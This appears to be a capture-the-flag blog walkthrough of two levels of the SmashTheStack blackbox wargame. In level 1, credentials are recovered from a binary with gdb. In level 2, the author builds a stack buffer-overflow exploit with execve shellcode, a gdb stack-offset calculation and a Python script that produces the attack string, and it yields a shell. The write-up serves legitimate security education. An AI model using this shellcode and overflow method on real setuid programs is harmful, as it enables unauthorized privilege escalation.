 804847f: e8 b4 fe ff ff        call   8048338 <getenv@plt>
 8048484: 89 45 f4              mov    %eax,0xfffffff4(%ebp)

We see that the return value is copied into ebp-0xc, which is just below the saved ebx.
As for buf, it is the first parameter to the first call to strcpy, let's look at it:
 80484ba: c7 44 24 04 e2 86 04  movl   $0x80486e2,0x4(%esp)
 80484c1: 08 
 80484c2: 8d 85 68 ff ff ff     lea    0xffffff68(%ebp),%eax
 80484c8: 89 04 24              mov    %eax,(%esp)
 80484cb: e8 b8 fe ff ff        call   8048388 <strcpy@plt>
The calling convention is first parameter is at esp, and the rest are above esp, this means that the first parameter, which ought to be the address of buf is ebp-0x98.
That's enough for us to paint an image of main's stack-frame:
stack frame of the function "main"

We can see that the saved return pointer is located 156 bytes above the bottom of buf. Which means that the filename environment variable should contain 156 bytes (where our code would reside), and 4 bytes which should be a pointer to the start of that code.
This means we have two questions to answer:
  1. What is the value of the desired return pointer?
  2. What code do we put in the body of our attack?
To answer the first question, let's fire up gdb, and examine the value of ebp in main's stack-frame:

level2@blackbox:~$ gdb getowner
...
(gdb) b *main+3
Breakpoint 1 at 0x8048467
(gdb) run
Starting program: /home/level2/getowner 

Breakpoint 1, 0x08048467 in main ()
(gdb) p $ebp
$1 = (void *) 0xbfffda98
This, unfortunately, is not the right answer, since in the execution context of gdb, the stack is actually located lower than it would have been if ran from a shell.
That difference, though, is a constant one, and can be measured.
Let's make a simple test program to tell us where the stack-frame base is, and run it with, and without gdb:
level2@blackbox:~$ cd /tmp/
level2@blackbox:/tmp$ cat > test.c
#include <stdio.h>
int main(int argc, char *argv[])
{
    int i;
    printf("%p\n", &i);
    return 0;
}
level2@blackbox:/tmp$ gcc -o test test.c
level2@blackbox:/tmp$ ./test
0xbfffdac0
So without gdb, the address of the first local variable is 0xbfffdac0.

level2@blackbox:/tmp$ gdb test
...
(gdb) disassemble main
Dump of assembler code for function main:
0x08048354 <main+0>: lea    0x4(%esp),%ecx
0x08048358 <main+4>: and    $0xfffffff0,%esp
0x0804835b <main+7>: pushl  0xfffffffc(%ecx)
0x0804835e <main+10>: push   %ebp
0x0804835f <main+11>: mov    %esp,%ebp
0x08048361 <main+13>: push   %ecx
0x08048362 <main+14>: sub    $0x24,%esp
0x08048365 <main+17>: lea    0xfffffff8(%ebp),%eax
0x08048368 <main+20>: mov    %eax,0x4(%esp)
0x0804836c <main+24>: movl   $0x8048498,(%esp)
0x08048373 <main+31>: call   0x8048290 <printf@plt>
0x08048378 <main+36>: mov    $0x0,%eax
0x0804837d <main+41>: add    $0x24,%esp
0x08048380 <main+44>: pop    %ecx
0x08048381 <main+45>: pop    %ebp
0x08048382 <main+46>: lea    0xfffffffc(%ecx),%esp
0x08048385 <main+49>: ret    
...
End of assembler dump.
(gdb) break *main+17
Breakpoint 1 at 0x8048365
(gdb) run
Starting program: /tmp/test 

Breakpoint 1, 0x08048365 in main ()
(gdb) p $ebp-8
$1 = (void *) 0xbfffdaa0
While inside gdb, the address of the same variable is 0xbfffdaa0, that's 0x20 bytes lower.
This means, that for getowner, when running outside gdb, the value of ebp is 0xbfffdaa8+0x20=0xbfffdac8, and the bottom of buf is at 0xbfffdac8-0x98=0xbfffda30.
Now for the second question - what do we put in the rest of the variable filename?
Well, firing up a shell would be nice, because, as I mentioned earlier, the process runs as if the user level3 ran it, so if that process were to execute a shell, that shell would be level3's shell, and we can cd to level3's home directory and get the contents of the password file.
The question of writing shellcode is discussed thoroughly in Aleph1's "Smashing the stack for fun and profit".
In this case however, I like to use another version of shellcode, which does not involve any jumps, about which I read in murat's "Designing shellcode demystified". Anyway, this is the shellcode:

xorl  %eax,%eax
pushl %eax
pushl $0x68732f2f
pushl $0x6e69622f
movl  %esp, %ebx
pushl %eax
pushl %ebx
movl  %esp, %ecx
xorl  %edx, %edx
movb  $0x0b, %al
int   $0x80
Let's analyze it line by line:
xorl  %eax,%eax
This puts 0 in eax, a common technique since putting 0 in a register directly will make the string that will have the shellcode contain a string terminator, which isn't particularly desirable.

pushl %eax
pushl $0x68732f2f
pushl $0x6e69622f
These 3 instructions push the string "/bin//sh" (null terminated) into the stack. One thing to notice is that we are pushing the string down the stack, so first comes the string terminator (the 0 in eax), then "//sh" and then "/bin".
Another thing is that x86 are little endian machines, meaning that in memory, the LSB is at the lower addresses, so if we want to encode every 4 byte string as a long word, we need to reverse it, so "//sh" => {'h', 's', '/', '/'} => 0x68732f2f.
movl  %esp, %ebx
pushl %eax
pushl %ebx
This stores the current value of esp, which points to the beginning of "/bin//sh", then pushes 0 into the stack, and then pushes the saved pointer.
What we now did in effect, is to make an array of two pointers, one to "/bin//sh", and the second is NULL, which terminated the array.
What we now have in memory is the following:

The remaining lines set up the register for an execve system call and execute it:
movl  %esp, %ecx
xorl  %edx, %edx
movb  $0x0b, %al
int   $0x80
To get the string that will represent the shellcode we can embed it in a C program, compile it, then use objdump to get the hex strings of the instructions and some bash trickery to combine them all:
level2@blackbox:/tmp$ cat > shellcode.c
int main(int argc, char *argv[])
{
    __asm__(
        "xorl  %eax,%eax\n\t"
        "pushl %eax\n\t"
        "pushl $0x68732f2f\n\t"
        "pushl $0x6e69622f\n\t"
        "movl  %esp, %ebx\n\t"
        "pushl %eax\n\t"
        "pushl %ebx\n\t"
        "movl  %esp, %ecx\n\t"
        "xorl  %edx, %edx\n\t"
        "movb  $0x0b, %al\n\t"
        "int $0x80"
    );
    return 0;
}

level2@blackbox:/tmp$ gcc -o shellcode shellcode.c
level2@blackbox:/tmp$ objdump -d shellcode|grep -A17 "main>:"|tail -n +8|\
> cut -f 2|xargs echo -n|tr -d ' ';echo
31c050682f2f7368682f62696e89e3505389e131d2b00bcd80
Excellent, let's put everything we gathered together and construct the attack string. We have our shellcode, after which should come some sort of filler to get all the way to the return pointer, and then there's our return pointer which points to the beginning of buf.
Well, not entirely, there are small details to which attention is needed, and it is all about details here.
First, we already start copying filename to buf when buf already contains 5 characters. And second, once we add an environment variable, the stack will shift down. We can repeat our little experiment from earlier after setting the enviroment variable filename to some 160 character string, and discover that ebp has shifted to 0xbfffda18.
Good, now that we have all the details cleared, let's put it all in one script, and try it out:

level2@blackbox:/tmp$ cat > shellcode.py
import struct
SHELLCODE = "31c050682f2f7368682f62696e89e3505389e131d2b00bcd80".decode("hex")
EBP = 0xbfffda18
ATTACK_STRING = "".join([
    SHELLCODE,
    "\x90" * (0x98 + 4 - 5 - len(SHELLCODE)),
    struct.pack("<L", EBP - 0x98 + 5),
])
print ATTACK_STRING

level2@blackbox:/tmp$ cd
level2@blackbox:~$ filename=`python /tmp/shellcode.py` ./getowner
The owner of this file is: 0
sh-3.1$ cd /home/level3
sh-3.1$ cat password
??????????
QED.
Next time - level 3.

Blackbox - chapter 1

Well, I've decided it's about time I started keeping record of things I do/learn/come across.

As it so happens, this decision coincides (not entirely by chance) with my latest intellectual adventure - the blackbox wargame.

Blackbox is one of the servers on SmashTheStack, and the principle all servers follow is that you are given an initial login (level1), using which you need to obtain the privileges of the next user (level2), and so on.
The method of obtaining the privileges varies with each level (usually with increasing difficulty), and can range from obtaining the password to using privilege escalation.

It is my intent to use this blog to describe my experience hacking through the various levels, the things I learned from them and maybe get some useful feedback. Anyway, my point is that if you, the reader, plan to take on blackbox by yourself, let this be a SPOILER ALERT warning to you, otherwise, read on.

Level 1
The password for the next level has been replaced with question marks so as to not make this too obvious, and so that the point of the walkthrough, which is mainly educational, will not be missed.

The password for the first level is simply "level1". Let's connect to the server and look around:
$ ssh -p 2225 level1@blackbox.smashthestack.org
level1@blackbox.smashthestack.org's password: 
    __________.__                __   __________              
    \______   \  | _____    ____ |  | _\______   \ _______  ___
    |    |  _/  | \__  \ _/ ___\|  |/ /|    |  _//  _ \  \/  /
    |    |   \  |__/ __ \\  \___|    < |    |   (  <_> >    < 
    |______  /____(____  /\___  >__|_ \|______  /\____/__/\_ \
           \/          \/     \/     \/       \/            \/


                     Welcome to black

RULES->
->1: NO DOSING PLEASE !!!
->2: NO MONKEY BUSINESS!!!
->3: HAVE FUN

Admin: dusty@smashthestack.org
irc: irc.smashthestack.org #social #blackbox #staff

INFO:
Levels are in the /home dir. All code goes into /tmp.
Levels 1-8 are working. Beat level 8 and you will gain level 9 privs and win.
Tags are in /home/tags/. You can only tag at the level you are at.
They can be seen online at the main page, http://blackbox.smashthestack.org:85/ .

 
NOTICE: Easy on the resources, 30m idle logout in place.
Last login: Wed Jan 18 21:47:05 2012 from 173-164-36-250-colorado.hfc.comcastbusiness.net
level1@blackbox:~$ ls -l
total 1168
-rws--xr-x 1 level2 level2 1189337 2008-01-12 16:14 login2

Well, we have an executable, let's try and run it:
level1@blackbox:~$ ./login2 
Username:
Hmm, it wants a username and probably a password. Well, I know the username I'm interested in is "level2", but I don't know the password...

First we need to understand what we are looking for before we try to figure out how to find it. Well, I'd start by hypothesizing how the program works, and I assume for simplicity that the program ought to read the username and password from standard input, and them compare them to some constant strings, and then print some nice message if we there is a match and some other message if there is no match.
A rather simplistic view, but let's see what this means. What we would like to find a comparison, and follow the trail to that comparison in order to find out the password.

Let's disassemble the file and see what we can learn from it:
level1@blackbox:~$ objdump -C -d login2 | grep -A100 "<main>:"
0804827a <main>:
....
 80482f0: c7 44 24 04 5e fe 0f  movl   $0x80ffe5e,0x4(%esp)
 80482f7: 08 
 80482f8: 8d 45 f4              lea    0xfffffff4(%ebp),%eax
 80482fb: 89 04 24              mov    %eax,(%esp)
 80482fe: e8 eb 00 00 00        call   80483ee <bool std::operator==<char, std::char_...
 8048303: 34 01                 xor    $0x1,%al
 8048305: 84 c0                 test   %al,%al
 8048307: 75 1f                 jne    8048328 <main+0xae>
 8048309: c7 44 24 04 65 fe 0f  movl   $0x80ffe65,0x4(%esp)
 8048310: 08 
 8048311: 8d 45 f0              lea    0xfffffff0(%ebp),%eax
 8048314: 89 04 24              mov    %eax,(%esp)
 8048317: e8 d2 00 00 00        call   80483ee <bool std::operator==<char, std::char_...
 804831c: 34 01                 xor    $0x1,%al
 804831e: 84 c0                 test   %al,%al
 8048320: 75 06                 jne    8048328 <main+0xae> 
....
I've cropped the output to the interesting lines only to spare you the horror of tons of C++ symbols. You can do this yourself if you like that sort of thing

Well, it looks like my suspicions were confirmed, we have two string comparisons here, and the constants fed into them are probably the ones we are looking for - one string at 0x080ffe5e and another at 0x080ffe65.
Lets dig them out with gdb:
level1@blackbox:~$ gdb login2
...
(gdb) x/s 0x080ffe5e
0x80ffe5e <_IO_stdin_used+26>:  "????????"
(gdb) x/s 0x080ffe65
0x80ffe65 <_IO_stdin_used+33>:  "????????"
Bingo! the first one must be the user name, and the second is the password. Let's give them a try:
level1@blackbox:~$ ./login2 
Username: ????????
Password: ????????
Welcome, level 2!
sh-3.1$ whoami
level2
Well, looks like we made it, and we even got a shell with level2.

Next time we'll do level2.